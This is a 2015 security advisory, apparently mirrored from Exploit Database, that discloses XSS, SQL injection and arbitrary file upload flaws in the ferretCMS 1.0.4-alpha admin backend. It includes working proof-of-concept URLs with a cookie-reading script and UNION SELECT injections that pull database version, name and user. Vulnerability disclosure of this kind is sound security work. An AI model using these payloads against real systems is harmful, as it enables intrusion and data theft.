ferretCMS 1.0.4-alpha – Multiple Vulnerabilities

Exploit Database
122 阅读

作者： Steffen Rösemann

日期： 2015-01-26
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/35914/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

Advisory:

Advisory ID: SROEADV-2015-10

Author: Steffen Rösemann

Affected Software: ferretCMS v. 1.0.4-alpha

Vendor URL: https://github.com/JRogaishio/ferretCMS

Vendor Status: vendor will patch eventually

CVE-ID: -

Tested on:

- Firefox 35, Iceweasel 31

- Mac OS X 10.10, Kali Linux 1.0.9a

==========================

Vulnerability Description:

==========================

The content management system ferretCMS v.1.0.4, which is currently in

alpha development stage, suffers from multiple stored/reflecting XSS- and

SQLi-vulnerabilities in its administrative backend.

Moreover, there exists the possibility to upload arbitrary files via the

administrative backend, which can be executed by unauthenticated users, too.

==================

Technical Details:

==================

A reflecting XSS vulnerability can be found in the parameter "action" used

in the file admin.php:

http://

{TARGET}/admin.php?type=search&action=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Stored XSS vulnerabilities resides in the logging functionality of

ferretCMS. On the administrative backend, the administrator has the

opportunity to watch events stored in a log. An event, that gets logged,

are login-attempts to the administrative backend, where the used username

is displayed, too. An attacker can abuse this, by trying to log in with

JavaScript-code instead of a username. That code gets executed in the logs.

XSS gets executed here: http://{TARGET}/admin.php?type=log&action=read

Another stored XSS vulnerability can be found in the pagetitle of a new

blog entry that is created by the administrator:

vulnerable form: http://{TARGET}/admin.php?type=page&action=insert&p=

XSS gets executed here: http://{TARGET}/admin.php?type=page&action=read

The following URLs are prone to SQL injection attacks:

http://

{TARGET}/admin.php?type=site&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+

http://

{TARGET}/admin.php?type=customkey&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,4+--+

http://

{TARGET}/admin.php?type=account&action=update&p=1+and+1=2+union+select+1,database%28%29,3,4,5,version%28%29,7,8,9+--+

http://

{TARGET}/admin.php?type=plugin&action=update&p=1+and+1=2+union+select+1,database%28%29,version%28%29,4+--+

http://

{TARGET}/admin.php?type=template&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,user%28%29,5+--+

http://

{TARGET}/admin.php?type=permissiongroup&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+

http://

{TARGET}/admin.php?type=page&action=update&p=1+and+substring%28version%28%29,1,1%29=5+--+

Last but not least there is a file-upload functionality in the

administrative backend of ferretCMS. The administrator can upload arbitrary

files here via the following URL:

http://localhost/ferretCMS/admin.php?type=uploader&action=upload

Any unauthenticated user can execute/read those files that had been

uploaded by visiting the following URL:

http://{TARGET}/custom/uploads/{NAME_OF_THE_UPLOADED_FILE}

=========

Solution:

=========

Vendor responded, issues will be patched eventually.

====================

Disclosure Timeline:

====================

15/16-Jan-2015 – found the vulnerability

16-Jan-2015 - informed the developers (see [3])

16-Jan-2015 – release date of this security advisory [without technical

details]

21-Jan-2015 - attempt #2 to inform the developer via mail

22-Jan-2015 - vendor responded, technical details posted to Github (see [3])

22-Jan-2015 - release date of this security advisory

22-Jan-2015 - send to lists

========

Credits:

========

Vulnerability found and advisory written by Steffen Rösemann.

===========

References:

===========

[1] https://github.com/JRogaishio/ferretCMS

[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-10.html

[3] https://github.com/JRogaishio/ferretCMS/issues/63

[4] https://github.com/sroesemann/ferretCMS